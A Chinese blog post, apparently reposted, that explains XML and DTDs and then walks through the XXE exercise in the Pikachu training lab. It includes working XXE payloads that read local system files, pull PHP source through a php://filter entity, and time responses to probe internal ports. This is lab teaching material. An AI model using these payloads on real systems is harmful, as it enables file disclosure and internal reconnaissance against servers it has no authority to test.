ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

pikachu之XXE

2021-02-25 20:05:36  阅读:629  来源: 互联网

标签:XML XXE pikachu DTD HTML xxe PHP


XXE:XML External Entity attack(XML外部实体攻击)。
其实XXE就是攻击者自定义了XML文件进行了执行,
已知的最终效果就是读取系统文件或DOS攻击。

理解XXE,其实就是学习XML。

什么是 XML?

XML 指可扩展标记语言(EXtensible Markup Language)

XML 是一种标记语言,很类似 HTML

XML 的设计宗旨是传输数据,而非显示数据

XML 标签没有被预定义。您需要自行定义标签。

XML 被设计为具有自我描述性。

XML 与 HTML 的主要差异

XML 不是 HTML 的替代。

XML 和 HTML 为不同的目的而设计:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。

XML 不是对 HTML 的替代,XML 是对 HTML 的补充。

XML 不会替代 HTML,理解这一点很重要。在大多数 web 应用程序中,XML 用于传输数据,而 HTML 用于格式化并显示数据。

对 XML 最好的描述是:

XML 是独立于软件和硬件的信息传输工具。

DTD内部文档声明

当DTD存在于XML源文件中,由以下格式进行包裹

<!DOCTYPE 根元素 [元素声明]>
可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。
这就是DTD与XML之间的使用方法。

然后XML文件对于DTD的内容进行引用

<?xml version="1.0"?>
<!DOCTYPE note [ 
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

具体xxe攻击手段参考下面链接

https://lalajun.github.io/2019/12/03/WEB-XXE/

开始正题

随意输入点什么,会有个贴心的提示,【滑稽】

我就试试输入一个xml,注意到读取时会有一点区别,正是利用这一点来读取我们想要的数据的

注意:这里的回显,不能判断是否支持外部实体,还需要进一步的测试

查看系统文件内容

因为c:/windows/win.ini是每个windows系统都有的文件,

如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞

成功显示后,要想读取其他敏感文件只需要替换路径即可

查看PHP源代码

查看PHP源码一般用PHP伪协议PHP://filter来获取,在拿去base64解码

<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy/phpstudy_pro/WWW/pikachu/vul/rce/rce.php"> ]>
<note>&xxe;</note>

爆破开放端口

这个我是看了大佬的博客学习到的,先看两端代码,虽然返回结果都是那段“友善”的提示,
但是肉眼可见处理速度是不同的
原因是服务器80端口是开放的,而81端口是关闭的

<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]>
<note>&xxe;</note>
<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81"> ]>
<note>&xxe;</note>

这时就会想到可不可以用BP爆破一下试试,看请求包和回应包的时间间隔来判断是否开放
其实只有80端口开放了


标签:XML,XXE,pikachu,DTD,HTML,xxe,PHP
来源: https://www.cnblogs.com/heyihui/p/14436654.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有